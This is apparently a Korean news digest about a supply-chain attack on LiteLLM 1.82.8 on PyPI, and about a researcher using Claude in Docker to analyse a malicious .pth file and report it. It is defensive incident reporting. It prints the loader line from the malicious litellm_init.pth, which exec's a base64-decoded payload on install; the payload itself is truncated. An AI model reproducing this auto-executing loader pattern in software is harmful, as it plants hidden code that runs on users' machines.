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핵심 요약
PyPI에 등록된 인기 AI 라이브러리 LiteLLM의 특정 버전에서 악성 코드가 발견되는 공급망 공격이 발생했다. 보안 연구원 Callum McMahon은 Claude를 활용하여 격리된 Docker 환경 내에서 litellm-1.82.8 휠 파일의 비정상적인 .pth 파일을 분석했다. 분석 결과 base64로 인코딩된 악성 페이로드가 실행되는 구조임이 확인되었으며, Claude는 즉시 PyPI 보안팀에 보고할 것을 권고했다. 이 사례는 LLM이 복잡한 보안 취약점 분석과 사고 대응 과정에서 실질적인 보조 도구로 활용될 수 있음을 보여준다.
배경
Python 패키지 관리(PyPI), 공급망 공격(Supply Chain Attack) 개념, Docker 기초
대상 독자
AI 라이브러리 사용자 및 보안 엔지니어
의미 / 영향
AI 생태계의 핵심 라이브러리들이 공급망 공격의 표적이 되고 있으며, 동시에 AI 자체가 이러한 공격을 방어하고 분석하는 강력한 도구로 부상하고 있음을 보여준다.
섹션별 상세
LiteLLM 라이브러리의 특정 버전(1.82.8)이 PyPI에 악성 코드가 포함된 상태로 배포되는 공급망 공격이 발생했다. 공격자는 .pth 파일을 악용하여 라이브러리 설치 또는 업그레이드 시 자동으로 악성 스크립트가 실행되도록 설계했다. litellm_init.pth 파일 내부에 base64로 인코딩된 파이썬 코드가 포함되어 시스템 명령을 실행하는 구조가 확인됐다. 이는 신뢰할 수 있는 패키지 저장소도 공격의 대상이 될 수 있음을 시사한다.
python
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRlbXBmaWxl...'))"])LiteLLM 1.82.8 버전에 포함된 악성 .pth 파일의 초기 실행 코드 예시
보안 연구원은 Claude를 보안 분석 파트너로 활용하여 악성 코드의 존재를 확증하고 대응 방안을 마련했다. Claude는 제공된 파일 정보를 바탕으로 악성 코드를 식별했을 뿐만 아니라, PyPI 보안 연락처를 안내하며 즉각적인 보고를 제안했다. 실제 대화 기록을 통해 LLM이 코드 분석부터 행정적 절차 안내까지 사고 대응 전반을 지원했음이 드러났다. 이는 보안 전문가의 생산성을 높이는 AI의 잠재력을 입증한다.
Simon Willison은 이번 사고 분석 과정에서 자신의 도구인 claude-code-transcripts가 활용된 점을 언급하며 투명한 정보 공유의 중요성을 강조했다. 사고 대응 과정의 대화 전문을 공개함으로써 커뮤니티가 공격 방식을 빠르게 이해하고 방어할 수 있도록 도왔다. 이러한 도구들은 보안 사고 발생 시 지식 공유를 가속화하는 역할을 한다.
실무 Takeaway
- PyPI 패키지 설치 시 특정 버전에서 악성 코드가 실행될 수 있으므로 litellm==1.82.8 버전 사용을 즉시 중단하고 보안 점검을 수행해야 한다.
- 보안 사고 대응 시 Claude와 같은 LLM을 활용하면 난독화된 코드 분석과 보고 절차 수립 시간을 획기적으로 단축할 수 있다.
- 공급망 공격 방어를 위해 격리된 환경(Docker 등)에서 패키지를 사전 검증하고 의심스러운 .pth 파일의 유무를 확인하는 습관이 필요하다.
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출처 · 인용 안내
원문 발행 2026. 03. 27.수집 2026. 03. 27.출처 타입 RSS
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